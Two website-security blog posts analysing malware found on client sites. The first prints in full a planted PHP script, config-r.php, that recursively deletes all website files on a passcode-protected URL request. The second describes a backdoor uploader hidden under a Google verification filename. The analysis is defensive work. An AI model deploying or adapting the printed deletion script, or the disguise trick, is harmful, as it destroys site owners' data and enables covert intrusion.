PHP Script Nukes All Website Files

Most malware and spam that we come across has some sort of discernable purpose to it, usually something which benefits the attackers financially. This is often related to spam campaigns, credit card theft, spreading trojans/spyware or phishing scams. However, every so often we find something that defies this trend and is just downright evil. We found a PHP script named config-r.php in the root directory of a website that contained the following code:

<?php
//$dir = getcwd();
if ($_GET['id'] == 'red@<redacted>@delete') {
    $dir   = getcwd();
    $files = scandir($dir);
    if (@$_GET['doAction'] == 'delete') {
        rrmdir($dir);
    } else {
        echo '<br /><br /><a href="config-r.php?id=red@<redacted>@delete&doAction=delete">Yes, Delete AllFiles/Folders</a>';
    }
    echo "<br /><br />";
    echo "<pre>";
    print_r($files);
    echo "</pre>";
}
function rrmdir($dir1)
{
    if (is_dir($dir1)) {
        $objects = scandir($dir1);
        foreach ($objects as $object) {
            if ($object != "." && $object != "..") {
                if (filetype($dir1 . "/" . $object) == "dir") {
                    if ($object != 'config-r.php') {
                        rrmdir($dir1 . "/" . $object);
                    }
                } else {
                    if ($object != 'config-r.php') {
                        unlink($dir1 . "/" . $object);
                    }
                }
            }
        }
        reset($objects);
        @rmdir($dir1);
        echo '<br />Deleted All Files/Folders!<br />';
    }
}

This section of the code waits for the attacker to send a request to the php script:

if(@$_GET['doAction']=='delete')

Simply accessing this file in a web browser with doAction=delete added onto the URL and some sort of a pass code in the id parameter will recursively remove all website files and directories, effectively deleting the entire website file structure and contents. Interestingly, it does not remove the malicious php itself (config-r.php) and will remain on the server even after the big red button is pushed, so to speak.

Fortunately, the website on which we found this script was intact and the attackers had not yet nuked it into oblivion. My best guess is that whoever coded this either had an axe to grind against a particular website or just wanted to reap wanton destruction for the lulz.

If you don\'t want to leave your site existence at mercy of not so noble people, make sure you regularly back up your site and don\'t neglect website security.

When malware injection goes wrong

Today while scanning a client’s website, I found a failed attempt by attackers to hide the location of a backdoor. It is very common for us to find backdoor uploaders on websites, as they are one of the principle ways attackers upload malicious content onto websites. However, there was something interesting about this particular case.

Our scanners found a file which triggered a generic signature php.backdoor.uploader_gen.007. Though we see a lot of trigger functions that may be used as backdoors, in this particular case, the file name stuck out to me:

./googlec4d267ac9f2bab3e.html

Anyone that uses Google Webmaster Tools will recognize this as a verification file for the analytics service. The attackers were hiding behind the legitimate filename and path, hoping that nobody would notice!

Accessing the file in my browser yielded this result:

What they didn’t realize is that usually .html files are not interpreted as php scripts. I’m sorry, better luck on the next injection.

This is a good example of why it’s important to employ the use of file integrity monitoring and any modifications to files on your website.

Fun fact: The usual size of a GWT verification file is around 50-55 bytes. If you ever hop onto your server and notice that your GWT file is much larger than that, then this simple trick might have been used against you!